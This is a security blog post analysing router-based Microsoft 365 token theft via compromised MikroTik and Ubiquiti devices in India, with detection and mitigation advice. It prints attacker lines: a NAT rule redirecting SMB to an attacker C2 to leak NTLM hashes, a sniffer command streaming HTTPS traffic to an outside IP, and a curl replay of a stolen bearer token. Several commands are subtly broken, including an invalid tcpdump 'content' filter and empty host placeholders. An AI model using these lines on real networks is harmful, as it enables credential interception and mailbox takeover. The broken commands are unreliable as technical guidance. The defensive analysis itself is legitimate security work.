Analyzing Compromised Edge Infrastructure: A Case Study in MikroTik and Ubiquiti
While investigating a persistent unauthorized access incident at a logistics provider in Maharashtra, we identified a series of anomalous logins to Microsoft 365 that bypassed legacy MFA. The source IPs were not from known VPN ranges or TOR exit nodes, but from residential and small-business IP space within India. Forensic analysis of the local network perimeter revealed that the primary gateway, an unpatched MikroTik router, had been modified to act as a transparent proxy for authentication traffic, mirroring the risks of exploiting vulnerabilities in end-of-life routers.
We observed the presence of a malicious script in the router's persistent storage. The attackers leveraged CVE-2018-14847, as detailed in the NIST NVD, to extract the user.dat file, gaining administrative access to the WinBox interface. Once inside, they established a persistent foothold using the rc.poststart script on Ubiquiti devices or scheduled scripts on MikroTik's RouterOS. We used the following command to verify the integrity of the persistent configuration on a suspect Ubiquiti EdgeRouter, which can be managed securely via a browser based SSH client:
ssh [email protected] 'ls -la /etc/persistent/ && cat /etc/persistent/rc.poststart'
The output confirmed the injection of a reverse proxy listener designed to intercept outbound traffic on ports 80, 443, and 445. This setup allows the attacker to position themselves between the remote worker's workstation and the Microsoft Entra ID (formerly Azure AD) endpoints. By controlling the gateway, the attacker negates the security of the local network, turning the router into a weapon for session hijacking.
Why Attackers Target Routers to Access Microsoft 365
Edge devices are often the weakest link in the security chain for Indian SMEs and remote offices. Many organizations rely on local Wireless Internet Service Providers (WISPs) that deploy MikroTik or Ubiquiti hardware with default credentials or outdated firmware. These devices are rarely monitored by centralized SOCs, making them ideal for long-term persistence. Russian-aligned threat actors, such as APT28 (Fancy Bear), have shifted toward using these compromised routers as "botnet-as-a-proxy" nodes to mask their activities, a trend highlighted in our research on detecting industrialized botnets.
Targeting the router provides a strategic advantage for stealing Microsoft Office tokens. Instead of deploying malware on an endpoint—where EDR solutions like CrowdStrike or Microsoft Defender for Endpoint might detect it—the attacker intercepts the authentication handshake at the network layer. This method is particularly effective against users who rely on SMS-based MFA or simple push notifications, as the attacker can proxy the entire session in real-time.
The Evolution of Session Hijacking in Modern Cyberattacks
Traditional session hijacking involved stealing cookies from a browser. Modern attacks have evolved to target OAuth 2.0 bearer tokens and Primary Refresh Tokens (PRT). When a user authenticates to Microsoft 365, the browser or the Office application receives a set of tokens that grant access to resources like Outlook, SharePoint, and OneDrive. If an attacker intercepts these tokens, they can replay them from their own infrastructure, effectively "becoming" the user without ever needing their password.
This transition from endpoint-focused attacks to network-centric token theft represents a significant shift in the threat landscape, exploiting weaknesses often cited in the OWASP Top 10. By compromising the router, the attacker gains a vantage point that is invisible to most cloud-native security tools. They can observe the frequency of authentication requests and wait for a high-value target, such as a C-suite executive or a system administrator, to initiate a session.
Man-in-the-Middle (MITM) Attacks at the Gateway Level
The primary mechanism for token theft via a router is the Man-in-the-Middle (MITM) attack. Once administrative access is gained, the attacker configures the router to redirect specific traffic. For Microsoft Office token theft, the target is often the NTLM authentication process or the OAuth 2.0 flow. We found that attackers frequently use NAT rules to redirect SMB traffic (port 445) to an external server they control, forcing the client to attempt an NTLM handshake.
The following configuration snippet demonstrates how a NAT rule can be used to leak NTLM hashes by redirecting outbound SMB traffic to an attacker-controlled C2 server:
set service nat rule 5010 description 'Redirect SMB for NTLM Leak'
set service nat rule 5010 destination port 445 set service nat rule 5010 inbound-interface eth0 set service nat rule 5010 inside-address address 103.x.x.x set service nat rule 5010 protocol tcp set service nat rule 5010 type destination
When a Windows client attempts to access a network share or when an application like Outlook is triggered by a malicious UNC path (as seen in CVE-2023-23397), the router redirects the request. The attacker's server then captures the NTLM challenge-response, which can be cracked offline or relayed to another service. In the context of Microsoft 365, this is often the first step in a broader campaign to gain initial access to the cloud environment.
DNS Poisoning: Redirecting Authentication Traffic
Another technique involves DNS poisoning or hijacking. By modifying the DNS settings on the compromised router, the attacker can point users to fraudulent login pages that mimic the Microsoft 365 portal. When the user enters their credentials and completes the MFA challenge, the attacker proxies the request to the real Microsoft service, intercepts the resulting session token, and passes the session back to the user to avoid suspicion.
We tested the resilience of local DNS caches against such attacks and found that many routers do not validate DNSSEC signatures, making them highly susceptible to cache poisoning. An attacker can inject a record for login.microsoftonline.com that points to a malicious IP. To identify if a router is vulnerable to such redirections, we use nmap to scan for open management ports and known vulnerabilities:
$ nmap -p 8291,80,443 --script http-vuln-cve2018-14847 192.168.1.0/24
Exploiting Router Firmware Vulnerabilities for Traffic Mirroring
Advanced attackers use traffic mirroring (also known as port spanning) to capture packets without disrupting the flow of data. On MikroTik devices, the /tool sniffer command can be used to stream traffic to a remote Wireshark instance. This allows the attacker to perform deep packet inspection (DPI) on authentication handshakes in real-time. We observed the following command being used in a compromised environment to mirror traffic to an external IP:
/tool sniffer set streaming-enabled=yes streaming-server=45.x.x.x filter-port=https
By filtering for HTTPS traffic, the attacker limits the volume of data sent to their C2 server while still capturing the encrypted packets that contain the OAuth 2.0 tokens. While the traffic is encrypted via TLS, attackers can leverage SSL stripping or use compromised internal CA certificates to decrypt the traffic if they have already gained a foothold on an internal machine.
The Role of OAuth 2.0 and Bearer Tokens in Office 365
Microsoft 365 relies heavily on the OAuth 2.0 framework for authorization. When a user logs in, the identity provider (Entra ID) issues several types of tokens. The Access Token is a short-lived bearer token that allows the client to access specific APIs, such as the Microsoft Graph API. The Refresh Token is longer-lived and is used to obtain new access tokens without requiring the user to re-authenticate.
The danger of bearer tokens lies in their "possession-based" nature. Anyone who possesses the token can use it to access the associated resources. There is no inherent link between the token and the device that requested it unless specific protections like Token Binding or Device Compliance policies are in place. In our analysis of captured traffic, we identified that many Indian organizations have not yet enabled "Strict" conditional access policies, leaving them vulnerable to token replay attacks.
How Stolen Tokens Bypass Multi-Factor Authentication (MFA)
A common misconception is that MFA provides a complete defense against session hijacking. However, MFA is typically only challenged during the initial authentication phase. Once the MFA requirement is satisfied and the tokens are issued, the tokens themselves do not require MFA for each subsequent request. If an attacker steals a valid session token from a router-based MITM attack, they bypass the MFA requirement entirely.
This is why "Pass-the-Token" attacks are so effective. The attacker does not need the user's password or their MFA device. They simply inject the stolen token into their browser's local storage or use it in a scripted curl command to access the user's mailbox. We have seen this occur even in environments using FIDO2 keys if the attacker is able to intercept the session after the hardware key has successfully authenticated the session to the browser.
Token Expiration vs. Persistence: What Hackers Look For
Attackers prioritize Refresh Tokens and Primary Refresh Tokens (PRT). A standard Access Token might only be valid for an hour, but a Refresh Token can last for 90 days or more if it is continuously used. On Windows devices joined to Entra ID, the PRT is stored in a secure enclave, but it can be leveraged by the BrowserCore.exe process to facilitate Single Sign-On (SSO). Attackers use tools like Mimikatz or specialized scripts to extract these tokens if they can move laterally from the router to a local workstation.
In the context of a router-based attack, the goal is often to capture the initial token exchange. We used tcpdump to analyze the packet structure of an authentication flow to identify where the Authorization: Bearer header appears:
tcpdump -i eth0 -A -s 0 'tcp port 443 and (content "Authorization: Bearer" or content "refresh_token")'
The Anatomy of a Token Theft Attack via Compromised Hardware
The attack chain begins with reconnaissance. Attackers scan Indian IP ranges for devices with open ports 8291 (MikroTik WinBox) or 80/443 (Ubiquiti/Generic management). Once a vulnerable device is found, they exploit a known vulnerability to gain a shell. On MikroTik, CVE-2018-14847 remains a favorite due to the large number of unpatched devices in Tier-2 and Tier-3 cities.
After gaining access, the attacker establishes persistence. They may create a new administrative user with a nondescript name or hide their scripts in the router's boot sequence. The next phase is traffic analysis. The attacker monitors the router's connection table to identify active sessions to Microsoft 365 IP ranges. They look for traffic destined for *.sharepoint.com or outlook.office365.com.
Traffic Analysis and Identifying Authentication Handshakes
The attacker uses the router's built-in packet capture tools to identify the start of an OAuth flow. This is usually characterized by a request to login.microsoftonline.com/common/oauth2/v2.0/token. By capturing the response from Microsoft's servers, the attacker obtains the access_token and refresh_token. In some cases, we observed attackers using a "Slow HTTP" attack to keep the connection open longer, increasing the window for interception.
We can simulate this interception by monitoring for specific ports used by Microsoft services. The following tcpdump command captures traffic related to SMB and HTTP, which are often targets for NTLM relaying and token theft:
tcpdump -i eth0 'port 445 or port 139 or port 80' -w traffic_capture.pcap
Extraction and Replay: Using Stolen Tokens for Unauthorized Access
Once the token is extracted from the .pcap file or the proxy logs, the attacker uses it to authenticate. This is often done using a Python script that mimics a legitimate browser. The script includes the stolen bearer token in the headers of its requests. If the organization has not implemented location-based Conditional Access, the attacker can use the token from a different country without triggering an alert.
For example, an attacker can use the following curl command to read a user's emails once they have the access token:
curl -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me/messages
This request will return a JSON object containing the user's recent emails, bypassing both the password and MFA. The speed at which this can be executed means that by the time a user notices a suspicious login, the attacker may have already exfiltrated sensitive data from SharePoint or OneDrive.
Risks to Organizations and Remote Workers in India
The shift to hybrid work has significantly expanded the attack surface for Indian enterprises. Employees often use home routers that are provided by local ISPs and are never updated. These devices frequently have "Remote Management" enabled by default, exposing them to the global internet. Under the DPDP Act 2023, organizations are responsible for ensuring the security of personal data, and a breach originating from a remote worker's compromised router could lead to significant legal and financial repercussions.
In Tier-2 cities like Pune, Indore, and Coimbatore, we have observed a high density of MikroTik and Ubiquiti EdgeRouters used for backhaul by local WISPs. These devices are often co-opted into "botnet-as-a-proxy" networks. Russian actors use these Indian IP addresses to launch attacks against domestic government contractors, making the malicious traffic appear local and less suspicious to geo-fencing filters.
Lateral Movement: From a Single Token to Full Tenant Compromise
A single stolen token can be the foothold needed for a full tenant compromise. If the stolen token belongs to a user with administrative privileges or someone in the IT department, the attacker can modify tenant settings. Common post-exploitation steps include:
- Creating new "Global Admin" accounts.
- Registering new MFA devices (e.g., the attacker's phone) to an existing account.
- Disabling security defaults or modifying Conditional Access policies.
- Setting up mailbox forwarding rules to exfiltrate data silently.
Data exfiltration in Outlook, SharePoint, and OneDrive is the ultimate goal. Attackers use automated tools to search for keywords like "password", "invoice", "contract", or "confidential" across the entire Microsoft 365 environment. This is often followed by a business email compromise (BEC) attack, where the attacker uses the compromised account to send fraudulent wire transfer requests to customers or vendors, often requesting payment in INR (₹) to local mule accounts.
Detection and Mitigation Strategies
Securing the network perimeter requires a multi-layered approach that starts with the router and extends to the identity provider. For organizations using MikroTik or Ubiquiti hardware, the first step is to disable all unnecessary services and management interfaces on the WAN side. We recommend the following hardening steps:
- Disable WinBox, Telnet, and HTTP management on the public interface.
- Change default administrative credentials to complex, unique passwords.
- Implement firewall rules to allow management access only from specific, trusted IP ranges.
- Enable automated firmware updates to patch vulnerabilities like CVE-2018-14847.
To check for open management ports on a router, use openssl to inspect the certificate and identify the service:
openssl s_client -connect :443 -showcerts | grep 'issuer='
Implementing Microsoft Entra ID Conditional Access Policies
Identity is the new perimeter. Organizations must implement Conditional Access (CA) policies that go beyond simple MFA. We recommend the following configurations in the Entra ID portal:
- Compliant Devices: Require that the device be managed by Intune and meet security baselines before issuing a token.
- Location-Based Access: Restrict logins to known corporate IP ranges or specific geographic regions.
- Token Protection: Enable "Token Protection" (currently in preview) which binds the token to the specific device it was issued to.
- Continuous Access Evaluation (CAE): Ensure that tokens are revoked immediately if a risk is detected, such as a change in location or a password reset.
Monitoring for Impossible Travel and Anomalous Token Usage
Security teams should monitor Microsoft 365 logs for "Impossible Travel" alerts through centralized log monitoring. This occurs when a user logs in from two distant locations in a timeframe that would be physically impossible to travel between. For example, a login from Mumbai followed by a login from St. Petersburg 10 minutes later is a clear indicator of token theft.
Additionally, look for anomalous User Agent strings or a sudden increase in API calls to the Microsoft Graph. Attackers often use scripts that have different headers than standard browsers. Monitoring the Sign-in logs in the Entra ID portal for "MFA requirement satisfied by claim in the token" can help identify replayed sessions.
The Importance of Zero Trust Network Access (ZTNA)
Moving away from traditional VPNs to a Zero Trust Network Access (ZTNA) model can mitigate the risk of router-based attacks. ZTNA solutions, such as those from Zscaler or Cloudflare, create an encrypted tunnel from the endpoint directly to the application, bypassing the local router's ability to intercept or redirect traffic. This ensures that even if the home router is compromised, the authentication traffic remains protected within an end-to-end encrypted tunnel that the router cannot decrypt.
Securing the Network Perimeter for Cloud Safety
The intersection of router vulnerabilities and cloud identity theft represents a high-impact threat to modern organizations. As we have seen, Russian threat actors are actively exploiting unpatched edge hardware to bypass sophisticated MFA implementations. The reliance on legacy protocols like NTLM and the inherent weaknesses of bearer tokens make this a persistent challenge for security researchers.
IT administrators must treat every home router used by a remote worker as a potential point of compromise. This requires a shift in strategy from "trusting the network" to "verifying the identity and the device." Implementing FIDO2-based MFA, enforcing device compliance, and utilizing ZTNA are no longer optional for organizations operating in the current threat climate. Regular audits of edge device configurations and firmware versions are essential to prevent these devices from becoming silent proxies for data exfiltration.
Check the router's web interface for unexpected files or directories. On MikroTik, look for the winbox/index directory which was a hallmark of the CVE-2018-14847 exploit:
curl -v -X PROPFIND http://:80/winbox/index